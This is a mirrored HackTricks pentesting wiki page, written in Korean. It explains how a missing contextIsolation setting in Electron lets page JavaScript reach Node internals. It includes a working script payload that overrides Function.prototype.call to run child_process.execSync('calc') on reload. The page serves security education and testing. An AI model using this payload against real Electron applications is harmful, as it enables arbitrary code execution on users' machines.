mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.1 KiB
2.1 KiB
Electron contextIsolation RCE via Electron internal code
{{#include ../../../banners/hacktricks-training.md}}
Example 1
Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41
"exit" 이벤트 리스너는 페이지 로딩이 시작될 때 항상 내부 코드에 의해 설정됩니다. 이 이벤트는 탐색 직전에 발생합니다:
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
{{#ref}}
664c184fcb/lib/common/asar.js (L30-L36)
{{#endref}}
8a44289089/bin/events.js (L156-L231)
-- 더 이상 존재하지 않음
그런 다음 여기로 이동합니다:
여기서 "self"는 Node의 프로세스 객체입니다:
프로세스 객체는 "require" 함수에 대한 참조를 가지고 있습니다:
process.mainModule.require
handler.call이 process 객체를 받을 것이므로, 이를 덮어써서 임의의 코드를 실행할 수 있습니다:
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>
예제 2
프로토타입 오염에서 require 객체 가져오기. From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
누출:

악용:

{{#include ../../../banners/hacktricks-training.md}}